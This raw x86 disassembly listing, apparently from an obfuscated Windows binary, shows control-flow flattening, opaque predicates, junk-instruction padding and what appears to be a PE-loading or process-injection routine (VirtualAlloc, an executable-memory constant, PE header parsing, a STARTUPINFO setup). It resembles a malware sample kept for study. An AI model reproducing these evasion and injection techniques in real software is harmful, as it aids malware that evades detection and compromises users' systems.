mov dword [ebp - 0xd8], 0
mov eax, 0xcb5ea8ae
jmp 0x402ce0
mov eax, dword [ebp - 0x24]
mov eax, 0xea5902d1
jmp 0x402ce0
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb8]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
mov eax, 0xdd5223c0
jmp 0x402ce0
mov eax, dword [ebp - 0xe4]
mov eax, 0x7eb3dd38
jmp 0x402ce0
mov eax, dword [ebp - 0x14]
mov eax, 0x5ac28780
jmp 0x402ce0
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xe1780b66
mov esi, eax
or esi, 0x16042018
and ecx, eax
and esi, 0x9644227a
and edx, 0x61380904
or edx, esi
mov esi, ecx
not esi
and ecx, 0x69bbdd85
or eax, esi
and esi, 0x9644227a
or ecx, esi
not eax
mov esi, 0x313e346b
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x1e87f499
and eax, 0xe1780b66
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0x5d283bf8
and eax, 0xa2d7c407
or eax, edx
xor eax, 0xa2d7c406
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd1163225
and ecx, 0x2ee9cdda
or eax, ecx
xor eax, 0xd1163225
sete al
setne dl
cmp dword [0x4d6178], 0xa
setl ah
mov ch, ah
mov cl, ah
xor ch, dl
or cl, al
or dl, ah
xor al, ah
xor ch, 1
xor cl, 1
xor dl, 1
and al, ah
or al, dl
or cl, ch
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0x2eeb7ecf
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test dl, 1
mov edx, ecx
cmovne edx, esi
test ah, ah
cmove edx, ecx
mov eax, edx
jmp 0x402ce0
mov eax, 0x8c0d1d9
jmp 0x402ce0
mov eax, dword [ebp - 0x20]
mov dword [eax], 7
mov eax, 0xd47d6b75
jmp 0x402ce0
mov eax, 0xcbd1a8a7
jmp 0x402ce0
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x77a01e0a
mov eax, ecx
and eax, 0x1a82f340
and edx, ecx
not ecx
mov esi, ecx
and esi, 0xe57d0cbf
mov ebx, edx
not ebx
and edx, 0x388f4451
or eax, esi
mov esi, eax
xor eax, 0x65200c0a
xor esi, 0x10800000
or eax, 0x885fe1f5
and esi, 0x30800400
mov edi, eax
or eax, ebx
and edi, 0xc770bbae
and ebx, 0xc770bbae
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0xe9de6582
or eax, edx
not edx
and edx, 0x885fe1f4
and eax, 0x77a01e0b
or eax, edx
mov edx, eax
not edx
and eax, 0xc2fd7b22
and edx, 0x3d0284dd
or eax, edx
xor eax, 0xc2fd7b22
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x76e19258
and ecx, 0x891e6da7
or eax, ecx
xor eax, 0x76e19258
sete ah
setne ch
cmp dword [0x4d6178], 0xa
mov al, ah
setl cl
setge dl
or al, cl
xor cl, ah
and cl, al
mov al, dl
and dl, ah
inc al
and ch, al
or al, ah
or dl, ch
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xc26f6b23
cmovne ecx, esi
test al, 1
mov eax, 0xc26f6b23
jmp 0x40e092
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xa1c9bcfe
and eax, 0x1928c39b
mov esi, edx
and esi, 0x5e364300
or ecx, esi
mov esi, ecx
xor esi, 0x81402836
xor ecx, 0x48324201
and ecx, 0x68bbd6c9
and esi, 0x97442936
or esi, ecx
mov ecx, edx
or ecx, 0x68bbd6c8
and edx, 0xe6d73c64
and ecx, 0x68bbd6c9
or eax, edx
xor ecx, esi
mov edx, ecx
not edx
and ecx, 0xdcadf6df
mov esi, edx
and esi, 0x23520920
or ecx, esi
mov esi, eax
xor esi, 0x1828c29b
xor eax, 0x22520820
and eax, 0x23520920
and esi, 0xdcadf6df
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xd3bf90a1
sete dl
cmp dword [0x4d6178], 0xa
setge ah
setl cl
mov al, ah
mov ch, cl
or cl, dl
xor al, dl
xor ch, dl
or dl, ah
not al
xor ch, 1
and al, ah
mov ah, dl
xor al, 1
xor ah, al
or al, dl
mov dl, ch
xor dl, cl
or cl, ch
xor al, 1
xor cl, 1
or al, ah
or cl, dl
mov ch, al
mov ah, cl
xor ch, 1
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov cl, ch
xor dl, 1
or dl, ah
mov ah, dl
and cl, dl
or dl, al
xor ah, 1
xor dl, 1
xor ch, ah
and ah, al
or dl, ch
or cl, ah
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0x6c8b2b5c
cmovne edx, esi
test cl, 1
cmove edx, esi
test al, 1
mov eax, 0x6c8b2b5c
jmp 0x40dc16
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
push dword [eax + ecx*8 + 0x10]
push dword [ebp - 0xf4]
push dword [ebp - 0xf0]
vzeroupper
call fcn.00420960
add esp, 0xc
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xf68a360b
mov esi, ecx
and esi, 0x975c9f4
mov edi, ecx
or edi, 0xa0004075
and ecx, 0xf055e73d
or edx, esi
and edi, 0xa11b4075
mov esi, edx
xor edx, 0x4074
xor esi, 0x54801408
or edx, 0x11b0000
and esi, 0x5c841d88
and edx, 0xa11b4075
or esi, edx
mov edx, eax
and edx, 0x260a202
and eax, 0xfaa18c2
or edx, edi
or eax, ecx
xor edx, esi
mov esi, edx
not esi
and edx, 0xfc845dfc
and esi, 0x37ba203
or edx, esi
mov ecx, edx
not ecx
and edx, 0xca880e9e
mov esi, ecx
and esi, 0x3577f161
or edx, esi
mov esi, eax
xor esi, 0xa880882
xor eax, 0x3055e121
and eax, 0x3577f161
and esi, 0xca880e9e
or esi, eax
xor esi, edx
xor ecx, esi
test ecx, esi
mov esi, 0x88a1cd38
sete dl
setne al
cmp dword [0x4d6178], 0xa
setge ah
mov cl, ah
xor cl, al
or al, ah
or ah, dl
and cl, dl
xor cl, 1
mov edx, ecx
or cl, ah
xor dl, ah
mov ah, al
xor cl, 1
or cl, dl
xor ah, 1
mov edx, eax
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
mov ah, dl
and dl, cl
xor cl, 1
xor ah, 1
and ah, cl
or cl, al
or dl, ah
mov ch, cl
mov eax, 0xd5b0aa4b
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, 1
mov edx, 0xd5b0aa4b
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x402ce0
mov eax, 0x70c343dd
jmp 0x402ce0
mov eax, dword [ebp - 0x114]
mov eax, 0xdbae5919
jmp 0x402ce0
cmp byte [ebp - 0x7d], 0
mov eax, 0x5ab2480d
mov ecx, 0x8a274b41
cmovne eax, ecx
jmp 0x402ce0
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov eax, ecx
mov esi, ecx
xor esi, 0xf5f3df9a
not eax
mov edx, eax
and edx, 0xf5f3df9a
and esi, ecx
and eax, 0x9722a509
or esi, edx
mov edx, esi
not edx
and esi, 0x9343b73b
and edx, 0x6cbc48c4
or esi, edx
mov edx, esi
xor edx, 0x4204021
xor esi, 0xa10c915e
and esi, 0xe39cb9de
and edx, 0x1c634621
or edx, esi
mov esi, edx
xor esi, 0x14220401
xor edx, 0xe39cb9de
mov edi, edx
or edx, ecx
and ecx, 0x68dd5af6
and edi, 0x68dd5af6
and esi, 0x9722a509
or esi, edi
or eax, ecx
not edx
xor eax, esi
or edx, eax
mov eax, 0xd1eb0fe0
cmp edx, 0xffffffff
setne byte [ebp - 0x7a]
jmp 0x402ce0
push 4
push 0x3000
push dword [ebp - 0xe0]
push dword [ebp - 0x118]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
cmp dword [eax + 4], 0
mov eax, dword [0x4d617c]
lea edx, [eax + 1]
sete byte [ebp - 0x73]
imul edx, eax
mov ecx, edx
mov eax, edx
not ecx
or eax, 1
mov edi, ecx
mov esi, eax
and esi, 0x5f5ac0de
and edi, 0xa0a53f20
and ecx, 0x5c901a65
or edi, esi
mov esi, edx
xor esi, 0xfffffffe
and esi, edx
mov ebx, esi
not ebx
and esi, 0xa0a53f21
or eax, ebx
and ebx, 0x5f5ac0de
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0xc76a0b86
and esi, 0x3895f479
or eax, esi
mov esi, eax
xor esi, 0x44000a04
xor eax, 0x3895f479
mov edi, eax
or eax, edx
and edx, 0xa36fe59a
and edi, 0xa36fe59a
and esi, 0x5c901a65
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0x3657bbd8
or eax, ecx
xor eax, 0xffffffff
sete cl
setne ah
cmp dword [0x4d6178], 0xa
setge ch
setl al
mov dl, ch
and ch, cl
and al, ah
inc dl
or al, ch
or cl, dl
and dl, ah
or dl, ch
xor dl, 1
mov ah, dl
or dl, cl
xor ah, cl
xor dl, 1
or dl, ah
mov ecx, edx
mov ah, dl
xor cl, 1
and cl, dl
xor cl, 1
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
mov ch, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
xor ch, dl
or dl, cl
or cl, al
xor dl, 1
xor cl, 1
or dl, ch
mov ch, dl
xor dl, 1
and ch, al
xor al, 1
and dl, al
xor al, ah
or cl, al
or dl, ch
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x82de89aa
cmovne esi, eax
test cl, 1
mov eax, 0x3657bbd8
cmovne eax, esi
test dl, dl
cmove eax, esi
jmp 0x402ce0
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x2245042
mov esi, ecx
and esi, 0x185aaa28
mov edi, ecx
or edi, 0x1a38324a
and ecx, 0x3208aa8e
or edx, esi
and edi, 0x5bb832cb
mov esi, edx
xor esi, 0x44000
xor edx, 0x59982289
and edx, 0x5bb832cb
and esi, 0x46c820
or esi, edx
mov edx, eax
and edx, 0xa4010514
and eax, 0xcdf75571
or edx, edi
or eax, ecx
xor edx, esi
mov ecx, eax
xor eax, 0x3208aa8e
xor ecx, 0xcdf75571
mov esi, edx
not esi
and edx, 0x94d3b3d2
and esi, 0x6b2c4c2d
or edx, esi
mov esi, edx
xor esi, 0x8ead49b9
xor edx, 0x7152b646
and eax, esi
and ecx, edx
mov esi, 0x9ca0fc76
or eax, ecx
xor edx, eax
test edx, eax
setne al
sete dl
cmp dword [0x4d6178], 0xa
mov ecx, eax
setge ah
xor al, ah
or cl, ah
or ah, dl
and al, dl
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
or dl, al
and ch, cl
mov eax, 0x9ca0fc76
mov cl, dl
xor cl, ch
test dl, dl
mov edx, 0x3f64f7a6
cmovne eax, edx
test ch, ch
cmove eax, esi
test cl, cl
cmovne eax, edx
jmp 0x402ce0
mov eax, 0x53623892
jmp 0x402ce0
mov eax, dword [ebp - 0x144]
movzx eax, word [eax + 6]
mov ecx, dword [ebp - 0x140]
cmp ecx, eax
mov eax, 0x1396dacf
setl byte [ebp - 0x74]
jmp 0x402ce0
mov eax, 0xcbd1a8a7
jmp 0x402ce0
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0xe4], eax
mov eax, 0xf9313dba
jmp 0x402ce0
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
or edx, 1
not ecx
and eax, 0xec18a3c7
mov esi, ecx
and edx, 0x4acda67
and esi, 0xfb532598
or esi, edx
mov edx, ecx
or edx, 0x4acda66
and ecx, 0x13e75c38
and edx, 0x4acda67
or eax, ecx
xor edx, esi
xor eax, 0xec18a3c7
mov esi, 0xb14bd9e9
not edx
or eax, edx
xor eax, 0xffffffff
setne ah
sete dl
cmp dword [0x4d6178], 0xa
mov dh, ah
setge al
setl ch
mov cl, al
and dh, ch
xor ch, dl
and cl, dl
xor dl, al
or al, ah
xor al, 1
mov ah, dl
or cl, dh
or al, ch
xor cl, 1
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
or cl, al
xor dl, al
mov eax, 0x7eb3dd38
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, 1
mov edx, 0x7eb3dd38
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x402ce0
mov eax, dword [ebp - 0x178]
add eax, 2
mov dword [ebp - 0x17c], eax
mov eax, 0xd4645a37
jmp 0x402ce0
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov eax, 0xa07758d2
jmp 0x402ce0
mov eax, 0x9e54f57f
jmp 0x402ce0
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0x40]
vmovsd xmm0, qword [eax + 0x28]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x50
mov dword [ebp - 0x120], eax
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xbfae790c
mov eax, ecx
and eax, 0xfb9228bb
and edx, ecx
not ecx
mov esi, ecx
and esi, 0x46dd744
mov ebx, edx
not ebx
and edx, 0x696a8dcc
or eax, esi
mov esi, eax
xor eax, 0x42c5104
xor esi, 0x29020808
or eax, 0x405186f3
and esi, 0x292a090c
mov edi, eax
or eax, ebx
and edi, 0x96957233
and ebx, 0x96957233
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0x9ca0fc76
or eax, edx
not edx
and edx, 0x405186f2
and eax, 0xbfae790d
or eax, edx
mov edx, eax
not edx
and eax, 0x108564c2
and edx, 0xef7a9b3d
or eax, edx
xor eax, 0x108564c2
or eax, ecx
xor eax, 0xffffffff
sete cl
setne dl
cmp dword [0x4d6178], 0xa
setl al
setge ah
mov ch, al
and cl, ah
and al, dl
xor ch, dl
or al, cl
mov dh, ch
xor dh, ah
and dh, ch
mov cl, dh
xor cl, al
or al, dh
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x182fb5f7
cmovne eax, esi
test cl, cl
not dl
mov ecx, 0x182fb5f7
cmove eax, esi
test dl, 1
cmovne eax, ecx
jmp 0x402ce0
mov eax, dword [ebp - 0x38]
mov eax, 0xe16592fe
jmp 0x402ce0
mov eax, dword [ebp - 0x54]
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xa3af168f
and ecx, 0x5c50e970
or eax, ecx
mov ecx, eax
xor ecx, 0x21061488
xor eax, 0x1c100940
and eax, 0x9eb90b47
and ecx, 0x6146f4b8
or ecx, eax
mov eax, ecx
xor ecx, 0x6146f4b8
xor eax, 0x9eb90b47
mov edx, eax
and ecx, 0xfffffffe
and eax, 1
and edx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x20c380c5
and eax, 0x54381032
and ecx, 0x8b046f08
or edx, ecx
xor edx, 0x20c380c5
or eax, edx
mov ecx, eax
not ecx
and eax, 0xf501f78e
and ecx, 0xafe0871
or eax, ecx
xor eax, 0x5ec61843
setne cl
sete dl
cmp dword [0x4d6178], 0xa
setl al
setge ah
and cl, al
and ah, dl
or al, dl
or cl, ah
mov edx, ecx
xor dl, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov ch, ah
and ch, al
xor ch, 1
or ch, al
or al, dl
mov edx, 0x9e5a0512
xor ch, 1
mov ebx, eax
or ch, ah
xor ch, cl
xor bl, ch
test al, 1
mov eax, 0x53d0fd4d
cmovne eax, edx
test ch, 1
cmove eax, edx
test bl, 1
mov edx, 0x53d0fd4d
cmove eax, edx
jmp 0x402ce0
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0x40]
vmovsd xmm0, qword [eax + 0x28]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, 0x3f64f7a6
jmp 0x402ce0
mov eax, 0xd27caa37
jmp 0x402ce0
mov eax, 0xea3d172
jmp 0x402ce0
mov eax, 0x317c227f
jmp 0x402ce0
mov eax, dword [ebp - 0xec]
add eax, 4
mov dword [ebp - 0x13c], eax
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xdf341002
mov eax, ecx
and eax, 0x8b200000
and edx, ecx
not ecx
mov esi, ecx
and esi, 0x54141002
or eax, esi
mov esi, 0x4b1a2848
xor eax, 0x8b200000
or eax, edx
not edx
and edx, 0x20cbeffc
and eax, 0xdf341003
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x78a2e76b
and ecx, 0x875d1894
or eax, ecx
xor eax, 0x78a2e76b
sete al
setne cl
cmp dword [0x4d6178], 0xa
setge dl
or cl, dl
xor al, dl
mov edx, ecx
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
mov ecx, 0x47f9c8a0
cmovne ecx, esi
test al, al
mov eax, 0x47f9c8a0
jmp 0x40ecea
mov eax, dword [ebp - 0x3c]
mov dword [eax], 2
mov eax, 0x9408735f
jmp 0x402ce0
mov eax, 0xc71568ce
jmp 0x402ce0
mov eax, dword [0x4d617c]
mov esi, 0xbec7c933
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x4d50cffc
and ecx, 0xb2af3003
or edx, ecx
xor edx, 0x4d50cffc
or eax, edx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0x7a1e2870
and eax, 0x85e1d78f
or eax, edx
xor eax, 0x85e1d78e
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xaf51085b
and ecx, 0x50aef7a4
or eax, ecx
xor eax, 0xaf51085b
setne dh
sete ch
cmp dword [0x4d6178], 0xa
mov cl, dh
setge al
setl ah
and dh, ah
and al, ch
xor cl, ah
or ah, ch
or al, dh
mov ch, ah
mov edx, ecx
xor al, 1
xor dl, 1
xor ch, al
or al, ah
xor al, 1
or al, ch
mov ch, al
mov ah, al
xor ch, 1
and ah, ch
xor ah, 1
or ah, ch
xor ah, 1
or ah, al
or al, cl
and dl, ah
xor ah, 1
and ah, cl
mov ecx, eax
or ah, dl
mov edx, 0x4e96fe41
xor cl, ah
test al, 1
cmovne edx, esi
test ah, ah
mov eax, 0x4e96fe41
cmove edx, esi
test cl, 1
jmp 0x40dc16
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov dword [ebp - 0x14c], eax
mov eax, 0x3489850e
jmp 0x402ce0
mov ecx, dword [0x4d617c]
mov esi, 0x26f67a23
mov edi, 0x26e3f753
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x30210158
and ecx, 0x868084
or edx, ecx
mov ecx, eax
and ecx, 0xcf587e23
xor edx, 0x30210158
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x69c025e9
and edx, 0x963fda16
or ecx, edx
mov edx, ecx
xor edx, 0x5967a434
xor ecx, 0xa6985bcb
and edx, eax
andn eax, eax, ecx
or edx, eax
xor ecx, edx
test ecx, edx
setne cl
sete ah
cmp dword [0x4d6178], 0xa
setl dl
setge ch
mov al, dl
and cl, dl
and ch, ah
xor dl, ah
or al, ah
or cl, ch
and dl, al
xor al, 1
or al, cl
mov dh, dl
mov ah, al
xor dh, al
and al, dl
and dh, dl
not ah
xor dl, 1
and dl, ah
or al, dl
mov dl, dh
xor dl, al
test al, al
mov eax, 0x26e3f753
cmovne eax, esi
test dh, dh
cmove eax, edi
test dl, 1
cmovne eax, esi
jmp 0x402ce0
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x20100a00
and ecx, 0x170234dc
mov edx, eax
and edx, 0x40a5c120
or eax, 0x48a00
or esi, edx
and eax, 0x884c8a03
mov edx, esi
xor edx, 0x20100000
xor esi, 0x884c8003
or ecx, eax
and esi, 0x884c8a03
and edx, 0x60b14120
or edx, esi
xor ecx, edx
mov eax, ecx
not eax
and ecx, 0xdb26bfa2
and eax, 0x24d9405d
or ecx, eax
mov esi, ecx
mov edi, ecx
xor esi, 0xb1923080
xor edi, 0x446c8b7d
xor ecx, 0xb801000
mov eax, edi
and eax, 0xa254f3a
and esi, 0xf5dab0c5
or edi, 0x8431aebf
and ecx, 0xb841000
or esi, eax
mov eax, esi
mov ebx, esi
xor eax, 0xf5dab0c5
xor ebx, 0x8e14e185
xor esi, 0x2000d00
and ebx, eax
mov dword [ebp - 0x11c], eax
and esi, 0x76401dc1
mov eax, ebx
not eax
and ebx, 0xba59e29
mov edx, eax
or eax, edi
and edx, 0xf45a61d6
and edi, 0xf45a61d6
or ebx, edx
or ecx, edi
not eax
xor ecx, ebx
mov ebx, dword [ebp - 0x11c]
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x7fb058cd
and ecx, 0x804fa732
or eax, ecx
mov edi, ebx
and edi, 0x89bfe23e
and ebx, 0x80000000
mov ecx, eax
xor ecx, 0x11810400
xor eax, 0x847e098d
or edi, esi
and ecx, 0x11df0c04
mov edx, edi
xor edx, 0xf6401dc1
xor edi, 0x19f0004
or ebx, edx
mov edx, eax
and edx, 0xee20f3fb
and edi, 0x11df0c04
or eax, ebx
and ebx, 0xee20f3fb
or ecx, edx
or edi, ebx
not eax
xor edi, ecx
or eax, edi
mov ecx, eax
xor ecx, 0x8fa5e893
mov esi, eax
or esi, 0x70180320
mov edx, eax
not edx
and ecx, eax
and esi, 0xfa9da3a1
and edx, 0x5204812
mov edi, ecx
not edi
and ecx, 0x5625c5e
or edx, esi
or eax, edi
and edi, 0xfa9da3a1
or ecx, edi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x705a176c
and eax, 0x8fa5e893
or eax, ecx
mov dword [ebp - 0x110], eax
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov esi, ecx
not eax
or esi, 1
and ecx, 0x9c64ea79
mov edx, eax
mov edi, eax
or edx, 0x7310c922
and esi, 0x7310c923
and edi, 0x8cef36dc
and eax, 0x639b1586
or edi, esi
and edx, 0x7310c923
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0x639b1586
mov edi, esi
and edi, 0x9c64ea79
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x2aa22deb
xor eax, 0xffffffff
sete cl
setne dl
cmp dword [0x4d6178], 0xa
setge ah
setl al
mov ch, ah
and dl, al
xor al, cl
xor ch, cl
and ch, ah
and ah, cl
or ah, dl
or al, ch
mov edx, 0x32c769c0
xor ah, 1
mov ecx, eax
xor cl, ah
or ah, al
mov al, ah
xor al, cl
test ah, ah
cmovne edx, esi
test cl, cl
cmove edx, esi
test al, al
mov eax, 0x32c769c0
cmove edx, eax
mov eax, edx
jmp 0x402ce0
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0x40
mov eax, 0xf2aa4af2
jmp 0x402ce0
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0xc8]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x78
mov dword [ebp - 0xdc], eax
mov eax, 0x36e4b5cf
jmp 0x402ce0
mov ecx, dword [0x4d617c]
mov edi, 0x8e8426e9
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x10c30c42
mov ecx, edx
and ecx, 0xef3cf3bc
and edx, 0xd9c446aa
or esi, ecx
mov ecx, eax
and ecx, 1
and eax, 0x263bb955
xor esi, 0x10c30c42
or eax, edx
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xe1df0e8e
mov esi, edx
and esi, 0x1e20f171
or ecx, esi
mov esi, eax
xor esi, 0x201b0804
xor eax, 0x18004020
and eax, 0x1e20f171
and esi, 0xe1df0e8e
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xd13c40ee
setne dl
sete ah
cmp dword [0x4d6178], 0xa
setl ch
setge al
mov cl, ch
xor cl, ah
and ah, cl
and cl, ch
mov ch, ah
xor ah, cl
xor cl, 1
xor ch, 1
or cl, ch
xor cl, 1
or cl, ah
mov ah, al
or al, dl
xor ah, dl
not al
mov edx, 0x8e8426e9
or al, ah
not al
or al, ah
xor al, cl
and al, 1
cmovne edx, esi
test al, cl
cmovne edx, edi
test al, al
cmovne edi, edx
test al, cl
mov eax, dword [ebp - 0xa8]
cmove edi, edx
mov eax, edi
jmp 0x402ce0
bswap esi
mov edx, 0x5e
neg eax
dec edx
inc eax
rcr ebx, 0x8f
neg edx
or edx, 0xfa
imul ebx
or ebx, 0xed
add eax, 0xfa
rcr edi, 0x98
mov edi, 0x54
rol edi, 0xfb
rol ebx, 0x20
add eax, 0x23
rcl eax, 0xba
rol eax, 0x36
and ebx, 0xf2
not esi
imul edi
neg edx
dec ebx
neg edi
or esi, 0x70
neg esi
bswap edi
add eax, 0x91
not edi
dec edx
ror ebx, 0xf8
rol edi, 0x9f
rcr edx, 0x47
add eax, 0xe4
or edi, 0xd3
or ebx, 0xd3
neg esi
bswap ebx
inc eax
rcr edi, 0x86
add esi, 0xfd
rcr esi, 0x58
sbb esi, 0xfb
or edi, 0xfe
imul edi
sub ebx, 0x7a
dec ebx
or edx, 0x31
bswap edi
inc ebx
imul edx
dec edx
ror edx, 0x7e
bswap edi
mov eax, 0x1b
neg edx
bswap ebx
sub ebx, 0xaf
sub ebx, 0x5b
sub esi, 0xdb
and eax, 0x88
sbb edx, 0x3a
dec edx
and eax, 0xe3
sbb esi, 0x2d
bswap ebx
ror edi, 0x5e
sbb edx, 0x9b
mov edx, 0x83
imul edi
neg edx
dec edi
and esi, 0x8e
inc ebx
dec eax
or edx, 0xdb
rcr edx, 0x60
imul edx
sub edi, 0xd0
bswap eax
neg edi
bswap ebx
add edi, 0x9a
rcl edi, 0x42
or esi, 0x77
rol eax, 0xed
add eax, 0xfd
rol ebx, 0xd0
imul eax
dec edx
imul edx
imul edi
rcl esi, 0xbc
not eax
rcl edi, 0x68
dec ebx
sbb edi, 0xb9
and eax, 0x43
bswap edi
inc esi
imul edi
bswap edx
sub ebx, 0xc
ror eax, 0x36
sub eax, 0xde
imul edi
inc edi
neg edx
mov edx, 0x5a
ror eax, 0xd4
imul eax
inc ebx
sbb esi, 0x76
bswap esi
neg esi
imul esi
ror edi, 0xbf
dec esi
sub eax, 0
imul esi
and edx, 0xaf
sub ebx, 5
sbb ebx, 0x9d
sbb edi, 0x8e
dec esi
rol edx, 0xd8
inc edx
imul edx
neg edx
imul esi
bswap ebx
inc ebx
imul edx
dec esi
rol edi, 0xe8
mov eax, 0xf8
inc esi
bswap esi
neg esi
rcl edx, 0x15
imul edx
dec esi
neg ebx
bswap eax
and edx, 0x68
rcl edx, 0xcf
imul eax
or esi, 0x39
sbb eax, 0xf9
not esi
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x28]
mov dword [ebp - 0x1c0], eax
mov eax, 0xd9e4e12f
jmp 0x402ce0
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
mov eax, 0xd391d18
jmp 0x402ce0
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xdb0e0197
and eax, 0x24f1fe68
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x2146b548
and eax, 0xdeb94ab7
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0xfa48b4de
xor eax, 0x5b74b20
